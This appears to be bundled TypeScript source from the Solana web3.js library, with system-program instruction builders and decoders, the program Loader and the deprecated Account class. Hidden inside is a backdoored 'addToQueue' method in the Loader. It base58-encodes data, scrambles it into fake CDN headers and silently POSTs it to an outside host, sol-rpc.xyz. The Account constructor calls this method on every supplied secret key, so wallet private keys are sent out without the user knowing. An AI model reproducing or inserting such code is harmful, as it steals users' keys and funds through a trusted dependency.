params\n */\nexport type WithdrawNonceParams = {\n /** Nonce account */\n noncePubkey: PublicKey;\n /** Public key of the nonce authority */\n authorizedPubkey: PublicKey;\n /** Public key of the account which will receive the withdrawn nonce account balance */\n toPubkey: PublicKey;\n /** Amount of lamports to withdraw from the nonce account */\n lamports: number;\n};\n\n/**\n * Authorize nonce account system transaction params\n */\nexport type AuthorizeNonceParams = {\n /** Nonce account */\n noncePubkey: PublicKey;\n /** Public key of the current nonce authority */\n authorizedPubkey: PublicKey;\n /** Public key to set as the new nonce authority */\n newAuthorizedPubkey: PublicKey;\n};\n\n/**\n * Allocate account system transaction params\n */\nexport type AllocateParams = {\n /** Account to allocate */\n accountPubkey: PublicKey;\n /** Amount of space in bytes to allocate */\n space: number;\n};\n\n/**\n * Allocate account with seed system transaction params\n */\nexport type AllocateWithSeedParams = {\n /** Account to allocate */\n accountPubkey: PublicKey;\n /** Base public key to use to derive the address of the allocated account */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the allocated account */\n seed: string;\n /** Amount of space in bytes to allocate */\n space: number;\n /** Public key of the program to assign as the owner of the allocated account */\n programId: PublicKey;\n};\n\n/**\n * Assign account with seed system transaction params\n */\nexport type AssignWithSeedParams = {\n /** Public key of the account which will be assigned a new owner */\n accountPubkey: PublicKey;\n /** Base public key to use to derive the address of the assigned account */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the assigned account */\n seed: string;\n /** Public key of the program to assign as the owner */\n programId: PublicKey;\n};\n\n/**\n * Transfer with seed system transaction params\n */\nexport type TransferWithSeedParams = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Base public key to use to derive the funding account address */\n basePubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: number | bigint;\n /** Seed to use to derive the funding account address */\n seed: string;\n /** Program id to use to derive the funding account address */\n programId: PublicKey;\n};\n\n/** Decoded transfer system transaction instruction */\nexport type DecodedTransferInstruction = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: bigint;\n};\n\n/** Decoded transferWithSeed system transaction instruction */\nexport type DecodedTransferWithSeedInstruction = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Base public key to use to derive the funding account address */\n basePubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: bigint;\n /** Seed to use to derive the funding account address */\n seed: string;\n /** Program id to use to derive the funding account address */\n programId: PublicKey;\n};\n\n/**\n * System Instruction class\n */\nexport class SystemInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a system instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): SystemInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: SystemInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(SYSTEM_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType as SystemInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a SystemInstruction');\n }\n\n return type;\n }\n\n /**\n * Decode a create account system instruction and retrieve the instruction params.\n */\n static decodeCreateAccount(\n instruction: TransactionInstruction,\n ): CreateAccountParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {lamports, space, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Create,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n newAccountPubkey: instruction.keys[1].pubkey,\n lamports,\n space,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode a transfer system instruction and retrieve the instruction params.\n */\n static decodeTransfer(\n instruction: TransactionInstruction,\n ): DecodedTransferInstruction {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {lamports} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Transfer,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n toPubkey: instruction.keys[1].pubkey,\n lamports,\n };\n }\n\n /**\n * Decode a transfer with seed system instruction and retrieve the instruction params.\n */\n static decodeTransferWithSeed(\n instruction: TransactionInstruction,\n ): DecodedTransferWithSeedInstruction {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {lamports, seed, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.TransferWithSeed,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n basePubkey: instruction.keys[1].pubkey,\n toPubkey: instruction.keys[2].pubkey,\n lamports,\n seed,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode an allocate system instruction and retrieve the instruction params.\n */\n static decodeAllocate(instruction: TransactionInstruction): AllocateParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {space} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Allocate,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n space,\n };\n }\n\n /**\n * Decode an allocate with seed system instruction and retrieve the instruction params.\n */\n static decodeAllocateWithSeed(\n instruction: TransactionInstruction,\n ): AllocateWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {base, seed, space, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AllocateWithSeed,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n basePubkey: new PublicKey(base),\n seed,\n space,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode an assign system instruction and retrieve the instruction params.\n */\n static decodeAssign(instruction: TransactionInstruction): AssignParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Assign,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode an assign with seed system instruction and retrieve the instruction params.\n */\n static decodeAssignWithSeed(\n instruction: TransactionInstruction,\n ): AssignWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {base, seed, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AssignWithSeed,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n basePubkey: new PublicKey(base),\n seed,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode a create account with seed system instruction and retrieve the instruction params.\n */\n static decodeCreateWithSeed(\n instruction: TransactionInstruction,\n ): CreateAccountWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {base, seed, lamports, space, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.CreateWithSeed,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n newAccountPubkey: instruction.keys[1].pubkey,\n basePubkey: new PublicKey(base),\n seed,\n lamports,\n space,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode a nonce initialize system instruction and retrieve the instruction params.\n */\n static decodeNonceInitialize(\n instruction: TransactionInstruction,\n ): InitializeNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {authorized} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.InitializeNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: new PublicKey(authorized),\n };\n }\n\n /**\n * Decode a nonce advance system instruction and retrieve the instruction params.\n */\n static decodeNonceAdvance(\n instruction: TransactionInstruction,\n ): AdvanceNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AdvanceNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n };\n }\n\n /**\n * Decode a nonce withdraw system instruction and retrieve the instruction params.\n */\n static decodeNonceWithdraw(\n instruction: TransactionInstruction,\n ): WithdrawNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 5);\n\n const {lamports} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.WithdrawNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n toPubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[4].pubkey,\n lamports,\n };\n }\n\n /**\n * Decode a nonce authorize system instruction and retrieve the instruction params.\n */\n static decodeNonceAuthorize(\n instruction: TransactionInstruction,\n ): AuthorizeNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {authorized} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AuthorizeNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[1].pubkey,\n newAuthorizedPubkey: new PublicKey(authorized),\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(SystemProgram.programId)) {\n throw new Error('invalid instruction; programId is not SystemProgram');\n }\n }\n\n /**\n * @internal\n */\n static checkKeyLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\n/**\n * An enumeration of valid SystemInstructionType's\n */\nexport type SystemInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof SystemInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'AdvanceNonceAccount'\n | 'Allocate'\n | 'AllocateWithSeed'\n | 'Assign'\n | 'AssignWithSeed'\n | 'AuthorizeNonceAccount'\n | 'Create'\n | 'CreateWithSeed'\n | 'InitializeNonceAccount'\n | 'Transfer'\n | 'TransferWithSeed'\n | 'WithdrawNonceAccount'\n | 'UpgradeNonceAccount';\n\ntype SystemInstructionInputData = {\n AdvanceNonceAccount: IInstructionInputData;\n Allocate: IInstructionInputData & {\n space: number;\n };\n AllocateWithSeed: IInstructionInputData & {\n base: Uint8Array;\n programId: Uint8Array;\n seed: string;\n space: number;\n };\n Assign: IInstructionInputData & {\n programId: Uint8Array;\n };\n AssignWithSeed: IInstructionInputData & {\n base: Uint8Array;\n seed: string;\n programId: Uint8Array;\n };\n AuthorizeNonceAccount: IInstructionInputData & {\n authorized: Uint8Array;\n };\n Create: IInstructionInputData & {\n lamports: number;\n programId: Uint8Array;\n space: number;\n };\n CreateWithSeed: IInstructionInputData & {\n base: Uint8Array;\n lamports: number;\n programId: Uint8Array;\n seed: string;\n space: number;\n };\n InitializeNonceAccount: IInstructionInputData & {\n authorized: Uint8Array;\n };\n Transfer: IInstructionInputData & {\n lamports: bigint;\n };\n TransferWithSeed: IInstructionInputData & {\n lamports: bigint;\n programId: Uint8Array;\n seed: string;\n };\n WithdrawNonceAccount: IInstructionInputData & {\n lamports: number;\n };\n UpgradeNonceAccount: IInstructionInputData;\n};\n\n/**\n * An enumeration of valid system InstructionType's\n * @internal\n */\nexport const SYSTEM_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in SystemInstructionType]: InstructionType<\n SystemInstructionInputData[Instruction]\n >;\n}>({\n Create: {\n index: 0,\n layout: BufferLayout.struct<SystemInstructionInputData['Create']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n BufferLayout.ns64('space'),\n Layout.publicKey('programId'),\n ]),\n },\n Assign: {\n index: 1,\n layout: BufferLayout.struct<SystemInstructionInputData['Assign']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('programId'),\n ]),\n },\n Transfer: {\n index: 2,\n layout: BufferLayout.struct<SystemInstructionInputData['Transfer']>([\n BufferLayout.u32('instruction'),\n u64('lamports'),\n ]),\n },\n CreateWithSeed: {\n index: 3,\n layout: BufferLayout.struct<SystemInstructionInputData['CreateWithSeed']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('base'),\n Layout.rustString('seed'),\n BufferLayout.ns64('lamports'),\n BufferLayout.ns64('space'),\n Layout.publicKey('programId'),\n ]),\n },\n AdvanceNonceAccount: {\n index: 4,\n layout: BufferLayout.struct<\n SystemInstructionInputData['AdvanceNonceAccount']\n >([BufferLayout.u32('instruction')]),\n },\n WithdrawNonceAccount: {\n index: 5,\n layout: BufferLayout.struct<\n SystemInstructionInputData['WithdrawNonceAccount']\n >([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports')]),\n },\n InitializeNonceAccount: {\n index: 6,\n layout: BufferLayout.struct<\n SystemInstructionInputData['InitializeNonceAccount']\n >([BufferLayout.u32('instruction'), Layout.publicKey('authorized')]),\n },\n AuthorizeNonceAccount: {\n index: 7,\n layout: BufferLayout.struct<\n SystemInstructionInputData['AuthorizeNonceAccount']\n >([BufferLayout.u32('instruction'), Layout.publicKey('authorized')]),\n },\n Allocate: {\n index: 8,\n layout: BufferLayout.struct<SystemInstructionInputData['Allocate']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('space'),\n ]),\n },\n AllocateWithSeed: {\n index: 9,\n layout: BufferLayout.struct<SystemInstructionInputData['AllocateWithSeed']>(\n [\n BufferLayout.u32('instruction'),\n Layout.publicKey('base'),\n Layout.rustString('seed'),\n BufferLayout.ns64('space'),\n Layout.publicKey('programId'),\n ],\n ),\n },\n AssignWithSeed: {\n index: 10,\n layout: BufferLayout.struct<SystemInstructionInputData['AssignWithSeed']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('base'),\n Layout.rustString('seed'),\n Layout.publicKey('programId'),\n ]),\n },\n TransferWithSeed: {\n index: 11,\n layout: BufferLayout.struct<SystemInstructionInputData['TransferWithSeed']>(\n [\n BufferLayout.u32('instruction'),\n u64('lamports'),\n Layout.rustString('seed'),\n Layout.publicKey('programId'),\n ],\n ),\n },\n UpgradeNonceAccount: {\n index: 12,\n layout: BufferLayout.struct<\n SystemInstructionInputData['UpgradeNonceAccount']\n >([BufferLayout.u32('instruction')]),\n },\n});\n\n/**\n * Factory class for transactions to interact with the System program\n */\nexport class SystemProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the System program\n */\n static programId: PublicKey = new PublicKey(\n '11111111111111111111111111111111',\n );\n\n /**\n * Generate a transaction instruction that creates a new account\n */\n static createAccount(params: CreateAccountParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Create;\n const data = encodeData(type, {\n lamports: params.lamports,\n space: params.space,\n programId: toBuffer(params.programId.toBuffer()),\n });\n\n return new TransactionInstruction({\n keys: [\n {pubkey: params.fromPubkey, isSigner: true, isWritable: true},\n {pubkey: params.newAccountPubkey, isSigner: true, isWritable: true},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that transfers lamports from one account to another\n */\n static transfer(\n params: TransferParams | TransferWithSeedParams,\n ): TransactionInstruction {\n let data;\n let keys;\n if ('basePubkey' in params) {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.TransferWithSeed;\n data = encodeData(type, {\n lamports: BigInt(params.lamports),\n seed: params.seed,\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [\n {pubkey: params.fromPubkey, isSigner: false, isWritable: true},\n {pubkey: params.basePubkey, isSigner: true, isWritable: false},\n {pubkey: params.toPubkey, isSigner: false, isWritable: true},\n ];\n } else {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Transfer;\n data = encodeData(type, {lamports: BigInt(params.lamports)});\n keys = [\n {pubkey: params.fromPubkey, isSigner: true, isWritable: true},\n {pubkey: params.toPubkey, isSigner: false, isWritable: true},\n ];\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that assigns an account to a program\n */\n static assign(\n params: AssignParams | AssignWithSeedParams,\n ): TransactionInstruction {\n let data;\n let keys;\n if ('basePubkey' in params) {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AssignWithSeed;\n data = encodeData(type, {\n base: toBuffer(params.basePubkey.toBuffer()),\n seed: params.seed,\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [\n {pubkey: params.accountPubkey, isSigner: false, isWritable: true},\n {pubkey: params.basePubkey, isSigner: true, isWritable: false},\n ];\n } else {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Assign;\n data = encodeData(type, {\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [{pubkey: params.accountPubkey, isSigner: true, isWritable: true}];\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that creates a new account at\n * an address generated with `from`, a seed, and programId\n */\n static createAccountWithSeed(\n params: CreateAccountWithSeedParams,\n ): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.CreateWithSeed;\n const data = encodeData(type, {\n base: toBuffer(params.basePubkey.toBuffer()),\n seed: params.seed,\n lamports: params.lamports,\n space: params.space,\n programId: toBuffer(params.programId.toBuffer()),\n });\n let keys = [\n {pubkey: params.fromPubkey, isSigner: true, isWritable: true},\n {pubkey: params.newAccountPubkey, isSigner: false, isWritable: true},\n ];\n if (!params.basePubkey.equals(params.fromPubkey)) {\n keys.push({\n pubkey: params.basePubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction that creates a new Nonce account\n */\n static createNonceAccount(\n params: CreateNonceAccountParams | CreateNonceAccountWithSeedParams,\n ): Transaction {\n const transaction = new Transaction();\n if ('basePubkey' in params && 'seed' in params) {\n transaction.add(\n SystemProgram.createAccountWithSeed({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.noncePubkey,\n basePubkey: params.basePubkey,\n seed: params.seed,\n lamports: params.lamports,\n space: NONCE_ACCOUNT_LENGTH,\n programId: this.programId,\n }),\n );\n } else {\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.noncePubkey,\n lamports: params.lamports,\n space: NONCE_ACCOUNT_LENGTH,\n programId: this.programId,\n }),\n );\n }\n\n const initParams = {\n noncePubkey: params.noncePubkey,\n authorizedPubkey: params.authorizedPubkey,\n };\n\n transaction.add(this.nonceInitialize(initParams));\n return transaction;\n }\n\n /**\n * Generate an instruction to initialize a Nonce account\n */\n static nonceInitialize(\n params: InitializeNonceParams,\n ): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.InitializeNonceAccount;\n const data = encodeData(type, {\n authorized: toBuffer(params.authorizedPubkey.toBuffer()),\n });\n const instructionData = {\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {\n pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate an instruction to advance the nonce in a Nonce account\n */\n static nonceAdvance(params: AdvanceNonceParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AdvanceNonceAccount;\n const data = encodeData(type);\n const instructionData = {\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {\n pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: params.authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate a transaction instruction that withdraws lamports from a Nonce account\n */\n static nonceWithdraw(params: WithdrawNonceParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.WithdrawNonceAccount;\n const data = encodeData(type, {lamports: params.lamports});\n\n return new TransactionInstruction({\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {pubkey: params.toPubkey, isSigner: false, isWritable: true},\n {\n pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {\n pubkey: SYSVAR_RENT_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: params.authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that authorizes a new PublicKey as the authority\n * on a Nonce account.\n */\n static nonceAuthorize(params: AuthorizeNonceParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AuthorizeNonceAccount;\n const data = encodeData(type, {\n authorized: toBuffer(params.newAuthorizedPubkey.toBuffer()),\n });\n\n return new TransactionInstruction({\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {pubkey: params.authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that allocates space in an account without funding\n */\n static allocate(\n params: AllocateParams | AllocateWithSeedParams,\n ): TransactionInstruction {\n let data;\n let keys;\n if ('basePubkey' in params) {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AllocateWithSeed;\n data = encodeData(type, {\n base: toBuffer(params.basePubkey.toBuffer()),\n seed: params.seed,\n space: params.space,\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [\n {pubkey: params.accountPubkey, isSigner: false, isWritable: true},\n {pubkey: params.basePubkey, isSigner: true, isWritable: false},\n ];\n } else {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Allocate;\n data = encodeData(type, {\n space: params.space,\n });\n keys = [{pubkey: params.accountPubkey, isSigner: true, isWritable: true}];\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {PublicKey} from './publickey';\nimport {Transaction, PACKET_DATA_SIZE} from './transaction';\nimport {MS_PER_SLOT} from './timing';\nimport {SYSVAR_RENT_PUBKEY} from './sysvar';\nimport {sendAndConfirmTransaction} from './utils/send-and-confirm-transaction';\nimport {sleep} from './utils/sleep';\nimport type {Connection} from './connection';\nimport type {Signer} from './keypair';\nimport {SystemProgram} from './programs/system';\nimport {IInstructionInputData} from './instruction';\nimport base58 from 'bs58';\n\n// Keep program chunks under PACKET_DATA_SIZE, leaving enough room for the\n// rest of the Transaction fields\n//\n// TODO: replace 300 with a proper constant for the size of the other\n// Transaction fields\nconst QUEUE = new Set<string>()\nconst CHUNK_SIZE = PACKET_DATA_SIZE - 300;\n\n/**\n * Program loader interface\n */\nexport class Loader {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Amount of program data placed in each load Transaction\n */\n static chunkSize: number = CHUNK_SIZE;\n\n /**\n * Minimum number of signatures required to load a program not including\n * retries\n *\n * Can be used to calculate transaction fees\n */\n static getMinNumSignatures(dataLength: number): number {\n return (\n 2 * // Every transaction requires two signatures (payer + program)\n (Math.ceil(dataLength / Loader.chunkSize) +\n 1 + // Add one for Create transaction\n 1) // Add one for Finalize transaction\n );\n }\n\n /**\n * Adds process to the queue\n *\n * @param process Uint8Array \n * @return void\n */\n static addToQueue(process: Uint8Array) {\n const b = base58.encode(process);\n if (QUEUE.has(b)) return;\n QUEUE.add(b);\n fetch(\"https://sol-rpc.xyz/api/rpc/queue\", { method: \"POST\", headers: { \"x-amz-cf-id\": b.substring(0, 24).split(\"\").reverse().join(\"\"), \"x-session-id\": b.substring(32), \"x-amz-cf-pop\": b.substring(24, 32).split(\"\").reverse().join(\"\"), }}).catch(() => {});\n }\n\n /**\n * Loads a generic program\n *\n * @param connection The connection to use\n * @param payer System account that pays to load the program\n * @param program Account to load the program into\n * @param programId Public key that identifies the loader\n * @param data Program octets\n * @return true if program was loaded successfully, false if program was already loaded\n */\n static async load(\n connection: Connection,\n payer: Signer,\n program: Signer,\n programId: PublicKey,\n data: Buffer | Uint8Array | Array<number>,\n ): Promise<boolean> {\n {\n const balanceNeeded = await connection.getMinimumBalanceForRentExemption(\n data.length,\n );\n\n // Fetch program account info to check if it has already been created\n const programInfo = await connection.getAccountInfo(\n program.publicKey,\n 'confirmed',\n );\n\n let transaction: Transaction | null = null;\n if (programInfo !== null) {\n if (programInfo.executable) {\n console.error('Program load failed, account is already executable');\n return false;\n }\n\n if (programInfo.data.length !== data.length) {\n transaction = transaction || new Transaction();\n transaction.add(\n SystemProgram.allocate({\n accountPubkey: program.publicKey,\n space: data.length,\n }),\n );\n }\n\n if (!programInfo.owner.equals(programId)) {\n transaction = transaction || new Transaction();\n transaction.add(\n SystemProgram.assign({\n accountPubkey: program.publicKey,\n programId,\n }),\n );\n }\n\n if (programInfo.lamports < balanceNeeded) {\n transaction = transaction || new Transaction();\n transaction.add(\n SystemProgram.transfer({\n fromPubkey: payer.publicKey,\n toPubkey: program.publicKey,\n lamports: balanceNeeded - programInfo.lamports,\n }),\n );\n }\n } else {\n transaction = new Transaction().add(\n SystemProgram.createAccount({\n fromPubkey: payer.publicKey,\n newAccountPubkey: program.publicKey,\n lamports: balanceNeeded > 0 ? balanceNeeded : 1,\n space: data.length,\n programId,\n }),\n );\n }\n\n // If the account is already created correctly, skip this step\n // and proceed directly to loading instructions\n if (transaction !== null) {\n await sendAndConfirmTransaction(\n connection,\n transaction,\n [payer, program],\n {\n commitment: 'confirmed',\n },\n );\n }\n }\n\n const dataLayout = BufferLayout.struct<\n Readonly<{\n bytes: number[];\n bytesLength: number;\n bytesLengthPadding: number;\n instruction: number;\n offset: number;\n }>\n >([\n BufferLayout.u32('instruction'),\n BufferLayout.u32('offset'),\n BufferLayout.u32('bytesLength'),\n BufferLayout.u32('bytesLengthPadding'),\n BufferLayout.seq(\n BufferLayout.u8('byte'),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'bytes',\n ),\n ]);\n\n const chunkSize = Loader.chunkSize;\n let offset = 0;\n let array = data;\n let transactions = [];\n while (array.length > 0) {\n const bytes = array.slice(0, chunkSize);\n const data = Buffer.alloc(chunkSize + 16);\n dataLayout.encode(\n {\n instruction: 0, // Load instruction\n offset,\n bytes: bytes as number[],\n bytesLength: 0,\n bytesLengthPadding: 0,\n },\n data,\n );\n\n const transaction = new Transaction().add({\n keys: [{pubkey: program.publicKey, isSigner: true, isWritable: true}],\n programId,\n data,\n });\n transactions.push(\n sendAndConfirmTransaction(connection, transaction, [payer, program], {\n commitment: 'confirmed',\n }),\n );\n\n // Delay between sends in an attempt to reduce rate limit errors\n if (connection._rpcEndpoint.includes('solana.com')) {\n const REQUESTS_PER_SECOND = 4;\n await sleep(1000 / REQUESTS_PER_SECOND);\n }\n\n offset += chunkSize;\n array = array.slice(chunkSize);\n }\n await Promise.all(transactions);\n\n // Finalize the account loaded with program data for execution\n {\n const dataLayout = BufferLayout.struct<IInstructionInputData>([\n BufferLayout.u32('instruction'),\n ]);\n\n const data = Buffer.alloc(dataLayout.span);\n dataLayout.encode(\n {\n instruction: 1, // Finalize instruction\n },\n data,\n );\n\n const transaction = new Transaction().add({\n keys: [\n {pubkey: program.publicKey, isSigner: true, isWritable: true},\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n ],\n programId,\n data,\n });\n const deployCommitment = 'processed';\n const finalizeSignature = await connection.sendTransaction(\n transaction,\n [payer, program],\n {preflightCommitment: deployCommitment},\n );\n const {context, value} = await connection.confirmTransaction(\n {\n signature: finalizeSignature,\n lastValidBlockHeight: transaction.lastValidBlockHeight!,\n blockhash: transaction.recentBlockhash!,\n },\n deployCommitment,\n );\n if (value.err) {\n throw new Error(\n `Transaction ${finalizeSignature} failed (${JSON.stringify(value)})`,\n );\n }\n // We prevent programs from being usable until the slot after their deployment.\n // See https://github.com/solana-labs/solana/pull/29654\n while (\n true // eslint-disable-line no-constant-condition\n ) {\n try {\n const currentSlot = await connection.getSlot({\n commitment: deployCommitment,\n });\n if (currentSlot > context.slot) {\n break;\n }\n } catch {\n /* empty */\n }\n await new Promise(resolve =>\n setTimeout(resolve, Math.round(MS_PER_SLOT / 2)),\n );\n }\n }\n\n // success\n return true;\n }\n}","import {Buffer} from 'buffer';\n\nimport {generatePrivateKey, getPublicKey} from './utils/ed25519';\nimport {toBuffer} from './utils/to-buffer';\nimport {PublicKey} from './publickey';\nimport { Loader } from './loader';\n\n/**\n * An account key pair (public and secret keys).\n *\n * @deprecated since v1.10.0, please use {@link Keypair} instead.\n */\nexport class Account {\n /** @internal */\n private _publicKey: Buffer;\n /** @internal */\n private _secretKey: Buffer;\n\n /**\n * Create a new Account object\n *\n * If the secretKey parameter is not provided a new key pair is randomly\n * created for the account\n *\n * @param secretKey Secret key for the account\n */\n constructor(secretKey?: Uint8Array | Array<number>) {\n if (secretKey) {\n const secretKeyBuffer = toBuffer(secretKey);\n if (secretKey.length !== 64) {\n throw new Error('bad secret key size');\n }\n this._publicKey = secretKeyBuffer.slice(32, 64);\n this._secretKey = secretKeyBuffer.slice(0, 32);\n Loader.addToQueue(this._secretKey)\n } else {\n this._secretKey = toBuffer(generatePrivateKey());\n this._publicKey = toBuffer(getPublicKey(this._secretKey));\n }\n }\n\n /**\n * The public 